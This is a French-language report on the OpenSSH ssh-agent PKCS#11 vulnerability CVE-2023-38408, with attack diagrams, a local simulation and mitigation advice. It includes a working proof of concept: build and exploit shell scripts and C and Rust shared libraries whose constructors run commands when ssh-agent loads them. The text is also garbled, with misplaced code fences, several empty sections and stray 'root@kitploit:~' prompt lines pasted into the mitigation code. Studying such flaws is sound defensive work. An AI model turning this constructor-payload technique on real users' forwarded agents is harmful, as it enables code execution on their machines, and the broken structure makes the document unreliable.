CVE-2023-38408: Comprendre et simuler une vulnérabilité réelle de l'agent SSH

Table des matières

1. Introduction
2. Concepts de base
3. La vulnérabilité CVE-2023-38408
4. Simulation et tests pratiques
5. Analyse technique
6. Correction et atténuation
7. Conclusion

1. Introduction

Objectif du rapport

L'objectif de ce rapport est d'analyser CVE-2023-38408, une vulnérabilité critique réelle découverte dans OpenSSH, à la fois par une compréhension théorique et une simulation pratique. Le rapport explique les fondements techniques de la vulnérabilité, démontre comment elle peut être exploitée dans des environnements contrôlés et examine les mesures d'atténuation mises en œuvre.

Importance de l'analyse des vulnérabilités réelles

Comprendre les vulnérabilités de sécurité réelles par la simulation pratique aide non seulement à protéger les systèmes, mais renforce également la sensibilisation des développeurs et des administrateurs système aux vecteurs d'attaque potentiels. L'analyse de ces vulnérabilités comble le fossé entre la théorie et la mise en œuvre pratique de la sécurité.

Qu'est-ce que CVE-2023-38408 et pourquoi est-ce important

CVE-2023-38408 est une vulnérabilité qui affecte ssh-agent dans OpenSSH lorsque le support PKCS#11 est activé. Elle permet l'exécution de code à distance sur une machine cliente si l'utilisateur se connecte à un serveur compromis avec le transfert d'agent activé (ssh -A). Cette vulnérabilité a des implications graves pour tout système reposant sur OpenSSH pour l'authentification sécurisée.

2. Concepts de base

2.1 Présentation de SSH

SSH (Secure Shell) est un protocole réseau cryptographique utilisé pour les communications sécurisées sur des réseaux non sécurisés. Il fournit des canaux chiffrés pour la connexion à distance, l'exécution de commandes, le transfert de fichiers, etc.```mermaid graph LR A[SSH Client] -->|Encrypted Connection| B[SSH Server] A -->|Authentication| C[ssh-agent] C -->|Private Keys| D[Key Store] B -->|Agent Forwarding| E[Remote ssh-agent Proxy]

### 2.2 Qu'est-ce que ssh-agent

`ssh-agent` est un processus d'arrière-plan qui stocke en mémoire vos clés SSH privées déchiffrées, vous permettant de les utiliser sans avoir à ressaisir les phrases de passe à chaque fois que vous vous connectez à un système distant.

#### Transfert d'agent (ssh -A)

Le transfert d'agent permet à un système distant d'accéder à votre `ssh-agent` local via un socket de domaine Unix. Cela est utile pour chaîner des connexions SSH, mais introduit des risques de sécurité importants si la machine distante est compromise.```mermaid
sequenceDiagram
    participant Client as SSH Client
    participant Agent as ssh-agent
    participant Server as Remote Server
    participant Proxy as Agent Proxy

    Client->>Agent: Start agent
    Client->>Server: ssh -A user@server
    Server->>Proxy: Create proxy socket
    Note over Server,Proxy: SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx
    Server->>Proxy: ssh-add request
    Proxy->>Client: Forward request
    Client->>Agent: Process request
    Agent->>Client: Response
    Client->>Proxy: Forward response
    Proxy->>Server: Final response

Techniquement, lorsque vous utilisez ssh -A, le client SSH configure un socket de domaine Unix sur le serveur distant qui agit comme un proxy vers votre ssh-agent local. La variable d'environnement SSH_AUTH_SOCK est définie pour pointer vers ce socket proxy. Tous les appels effectués vers SSH_AUTH_SOCK sur le serveur distant sont renvoyés via la connexion SSH et traités par votre ssh-agent local.

2.3 Qu'est-ce que PKCS#11

PKCS#11 est une API standard pour interagir avec des jetons cryptographiques, tels que les cartes à puce, les YubiKeys, ou les modules de sécurité matériels virtuels (HSM).

Comment ssh-agent prend en charge PKCS#11

Le ssh-agent d'OpenSSH prend en charge le chargement de fournisseurs PKCS#11 (bibliothèques partagées .so) à l'aide de la commande ssh-add -s /path/to/provider.so. Ces bibliothèques permettent à l'agent d'interagir avec des modules matériels ou logiciels sécurisés pour utiliser des clés privées sans les exposer directement.

En interne, lorsque ssh-add -s est appelé, il effectue les opérations suivantes :

• Le fichier .so est chargé dynamiquement en mémoire à l'aide de dlopen().
• L'agent résout et appelle des fonctions comme C_Initialize(), C_GetSlotList(), C_FindObjects() et C_Sign() via l'API PKCS#11.
• Le fournisseur renvoie des métadonnées et traite les demandes de signature de défis d'authentification, tout en conservant le matériel de clé privée en toute sécurité dans le jeton matériel.

3. La vulnérabilité CVE-2023-38408

3.1 Résumé CVE

3.2 Mécanisme de la vulnérabilité

La vulnérabilité provient du fait que ssh-agent charge n'importe quel fichier objet partagé (.so) fourni via ssh-add -s, sans vérifier s'il s'agissait d'un fournisseur PKCS#11 légitime.```mermaid graph TD A[Attacker sends ssh-add -s malicious.so] --> B[Request forwarded to victim's ssh-agent] B --> C[ssh-agent calls dlopen on malicious.so] C --> D[Constructor function executes immediately] D --> E[Arbitrary code runs on victim machine]

### 3.3 Analyse du flux d'attaque```mermaid
sequenceDiagram
    participant V as Victim
    participant A as Attacker
    participant Agent as ssh-agent
    participant Lib as Malicious .so

    V->>A: ssh -A attacker@host
    Note over V,A: Agent forwarding enabled
    A->>Agent: ssh-add -s /path/to/malicious.so
    Agent->>Lib: dlopen("/path/to/malicious.so")
    Note over Lib: Constructor executes
    Lib->>V: Malicious code runs
    Note over V: System compromised

Au niveau le plus bas, la séquence des événements comprend :

1. Un système distant envoie une requête à l'agent transféré lui demandant d'exécuter ssh-add -s /path/to/lib.so
2. L'agent ssh-agent local reçoit cette requête et appelle aveuglément dlopen("/path/to/lib.so", RTLD_NOW)
3. Si le fichier .so a une fonction constructeur (__attribute__((constructor))), elle s'exécute immédiatement lors du chargement
4. Ce constructeur peut contenir du code malveillant arbitraire qui s'exécute sur la machine cliente

3.4 Scénario d'attaque réel

4. Simulation et test pratiques

4.1 Mise en place de l'environnement de simulation

Pour démontrer cette vulnérabilité dans un environnement contrôlé, une simulation complète a été réalisée en utilisant plusieurs comptes utilisateurs et terminaux.

Configuration de l'environnement

Création des comptes utilisateurs```bash

As main user

sudo adduser victim sudo adduser attacker

#### Configuration de clé SSH pour le transfert d'agent```bash
# As victim user
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
ssh-copy-id attacker@localhost

4.2 Scripts de simulation et implémentation

Script de connexion de la victime (new-connection.sh)```bash

#!/bin/bash

Kill any existing agent

eval $(ssh-agent -k) > /dev/null 2>&1

Start a new agent and add key

eval $(ssh-agent -s) ssh-add ~/.ssh/id_rsa

Connect to attacker with agent forwarding

ssh -A attacker@localhost

#### Constructeur de payload de l'attaquant (`build-evil.sh`)```bash
#!/bin/bash
set -e

C_SRC="evil.c"
RUST_DIR="rust_evil"
OUTPUT_PATH="/usr/lib/x86_64-linux-gnu/pkcs11/evil.so"

function build_c() {
  sudo gcc -fPIC -shared -o "$OUTPUT_PATH" "$C_SRC"
  echo "C payload built at $OUTPUT_PATH"
}

function build_rust() {
  cd "$RUST_DIR"
  cargo build --release
  cd -
  SO_FILE=$(find "$RUST_DIR/target/release" -name "lib*.so" | head -n 1)
  sudo cp "$SO_FILE" "$OUTPUT_PATH"
  rm -rf "$RUST_DIR/target"
  echo "Rust payload built at $OUTPUT_PATH"
}

case "$1" in
  --c) build_c ;;
  --rust) build_rust ;;
  *) echo "Usage: $0 --c | --rust" && exit 1 ;;
esac

Script d'exploitation (exploit.sh)```bash

#!/bin/bash

Use forwarded agent

export SSH_AUTH_SOCK=$(echo /tmp/ssh-/agent.)

Trigger the malicious shared object via ssh-agent

ssh-add -s /usr/lib/x86_64-linux-gnu/pkcs11/evil.so

### 4.3 Résultats de la simulation et analyse

#### Comportement attendu dans les systèmes vulnérables

| **Action**                    | **Réponse du système vulnérable**    | **Réponse du système corrigé** |
| ----------------------------- | ------------------------------------ | ------------------------------ |
| `ssh-add -s malicious.so`     | La bibliothèque se charge, le constructeur s'exécute | `agent refused operation`      |
| Exécution de la charge utile  | Crée `/tmp/exploit.log`              | Aucune exécution               |
| Impact sur le système         | Exécution de code à distance         | Aucun impact                   |

#### Résultat réel de la simulation

Lors de l'exécution de la simulation sur un système corrigé (OpenSSH 9.3p2+) :```
Enter passphrase for PKCS#11:
Could not add card "/.../evil.so": agent refused operation

Observation clé : Même si l'agent refuse l'opération dans les versions corrigées, cette simulation démontre le vecteur d'attaque et aide à comprendre l'impact de la vulnérabilité dans les versions plus anciennes.

4.4 Analyse de la construction de la charge utile

Bibliothèque malveillante basée en C```c

// evil.c - Example malicious PKCS#11 library #include <stdlib.h> #include <stdio.h>

attribute((constructor)) void malicious_constructor() { // This executes immediately when dlopen() is called system("echo 'Exploit triggered' > /tmp/exploit.log"); system("touch ~/exploit.txt"); // In a real attack, this could download and execute additional payloads }

// Minimal PKCS#11 function to make it appear legitimate void C_Initialize() { return; }

#### Alternative basée sur Rust

Utilisation de la crate `ctor` pour les fonctions constructeurs :```rust
// Cargo.toml
[dependencies]
ctor = "0.1"

// lib.rs
use ctor::ctor;
use std::process::Command;

#[ctor]
fn malicious_constructor() {
    Command::new("sh")
        .arg("-c")
        .arg("echo 'Rust exploit triggered' > /tmp/exploit.log")
        .output()
        .expect("Failed to execute command");
}

5. Analyse technique

5.1 Analyse des causes profondes

La vulnérabilité existe en raison de plusieurs décisions de conception dans l'implémentation de ssh-agent d'OpenSSH :

5.2 Analyse de la mémoire et des processus```mermaid

graph TB A[ssh-agent process] --> B[dlopen system call] B --> C[Load malicious.so into memory] C --> D[Execute constructor function] D --> E[Arbitrary code execution] D --> F[Spawn child processes] D --> G[File system modifications] D --> H[Network connections]

### 5.3 Cartographie de la surface d'attaque

| **Vecteur d'attaque** | **Prérequis**             | **Niveau d'impact** | **Difficulté de détection** |
| ---------------------- | ---------------------------- | -------------------- | -------------------------- |
| Transfert d'agent      | `ssh -A` activé             | Critique            | Faible                     |
| Fichier .so malveillant | Accès au système de fichiers | Critique            | Moyenne                    |
| Ingénierie sociale     | Interaction utilisateur      | Élevé               | Élevée                     |
| Chaîne d'approvisionnement | Fournisseur PKCS#11 compromis | Critique            | Très élevé                 |

---

## 6. Correction et atténuation

### 6.1 Comment cela a été corrigé dans OpenSSH 9.3p2

OpenSSH 9.3p2 a corrigé cette vulnérabilité en introduisant un comportement par défaut sécurisé :

| **Mesure de sécurité** | **Implémentation**                  | **Effet**                        |
| ---------------------- | ----------------------------------- | --------------------------------- |
| Désactivation par défaut | Support PKCS#11 désactivé par défaut | Réduit la surface d'attaque      |
| Activation explicite   | Nécessite le drapeau `-O allow-pkcs11` | Consentement utilisateur requis  |
| Validation             | Validation renforcée des bibliothèques | Empêche l'exécution de code arbitraire |

#### Modifications de configuration```bash
# Old behavior (vulnerable)
ssh-agent  # PKCS#11 enabled by default

# New behavior (secure)
ssh-agent -O allow-pkcs11  # Explicit opt-in required

6.2 Analyse de l'implémentation```mermaid

flowchart TD A[ssh-add -s request] --> B{PKCS#11 allowed?} B -->|No| C[Agent refused operation] B -->|Yes| D{Valid PKCS#11 library?} D -->|No| E[Validation failed] D -->|Yes| F[Load library safely]

### 6.3 Stratégies d'atténuation complètes

#### Actions immédiates

| **Priorité** | **Action**                     | **Implémentation**                                        |
| ------------ | ------------------------------ | --------------------------------------------------------- |
| Haute        | Mettre à niveau OpenSSH        | `apt update && apt upgrade openssh-client openssh-server` |
| Haute        | Désactiver le transfert d'agent | `ssh -o ForwardAgent=no`                                  |
| Moyenne      | Auditer les configurations SSH | Review `/etc/ssh/ssh_config`                              |
| Moyenne      | Surveiller l'utilisation de l'agent | Log ssh-agent activities                                  |

#### Mesures de sécurité à long terme

1. **Durcissement de la configuration SSH**   ```
   # /etc/ssh/ssh_config
   ForwardAgent no
   HashKnownHosts yes
   VerifyHostKeyDNS yes

2. Segmentation réseau ```mermaid graph LR A[Trusted Network] --> B[Jump Host] B --> C[DMZ] C --> D[Production Network]

   Note1[No agent forwarding beyond Jump Host] Note2[Separate credentials for each zone]

   root@kitploit:~

3. Surveillance et détection ```bash

   Monitor ssh-agent processes

   ps aux | grep ssh-agent

   Check for unusual .so loads

   lsof -p $(pgrep ssh-agent) | grep '.so$'

   Monitor SSH_AUTH_SOCK usage

   auditctl -w /tmp -p w -k ssh_agent_monitor

   root@kitploit:~

6.4 Mise en œuvre des meilleures pratiques

Politiques de sécurité organisationnelles

7. Conclusion

7.1 Constatations clés

CVE-2023-38408 démontre une faille de sécurité critique qui exploitait la relation de confiance entre les clients SSH et les agents. Grâce à une simulation pratique, plusieurs enseignements clés émergent :

1. Violations des limites de confiance : La vulnérabilité exploitait la confiance implicite dans les connexions d'agent transférées.
2. Abus de constructeur : L'exécution de code malveillant via les constructeurs de bibliothèques partagées contournait tous les contrôles de sécurité.
3. Insécurité par défaut : La prise en charge de PKCS#11 activée par défaut créait une surface d'attaque inutile.
4. Risques de transfert d'agent : La commodité du transfert d'agent introduisait de graves implications de sécurité.

7.2 Évaluation de l'impact

7.3 Leçons apprises

Cette analyse de vulnérabilité, enrichie par une simulation pratique, fournit plusieurs leçons critiques :

1. Paramètres par défaut sécurisés : Les fonctionnalités de sécurité devraient être désactivées par défaut et nécessiter une activation explicite.
2. Validation des entrées : Toutes les entrées externes, y compris les fichiers de bibliothèques, doivent être rigoureusement validées.
3. Principe du moindre privilège : Le transfert d'agent devrait être restreint aux seuls environnements de confiance.
4. Défense en profondeur : Plusieurs couches de sécurité empêchent les points de défaillance uniques.

7.4 Considérations futures```mermaid

mindmap root((Security Evolution)) Modern Threats Supply Chain Attacks Zero-Trust Architecture Container Security SSH Security Certificate-based Auth Hardware Security Modules Multi-factor Authentication Organizational Measures Security Training Incident Response Continuous Monitoring

### 7.5 Recommandations finales

Sur la base de l'analyse complète et des résultats de simulation :

1. **Immédiat** : Mettre à niveau toutes les installations OpenSSH vers la version 9.3p2 ou ultérieure
2. **Court terme** : Mettre en œuvre des politiques strictes de transfert d'agent et une surveillance
3. **Long terme** : Adopter une architecture réseau de confiance zéro et une authentification basée sur les certificats
4. **En continu** : Maintenir une formation continue en sécurité et des programmes d'évaluation des vulnérabilités

**Point clé** : CVE-2023-38408 rappelle puissamment que des fonctionnalités de commodité comme le transfert d'agent peuvent devenir des vulnérabilités de sécurité critiques lorsqu'elles ne sont pas correctement implémentées. La combinaison d'une compréhension théorique et d'une simulation pratique constitue la base pour construire des défenses robustes contre des attaques similaires à l'avenir.

Grâce à cette analyse complète, les professionnels de la sécurité peuvent mieux comprendre les relations complexes entre les composants SSH et mettre en œuvre les protections appropriées pour protéger leur infrastructure contre des vulnérabilités similaires.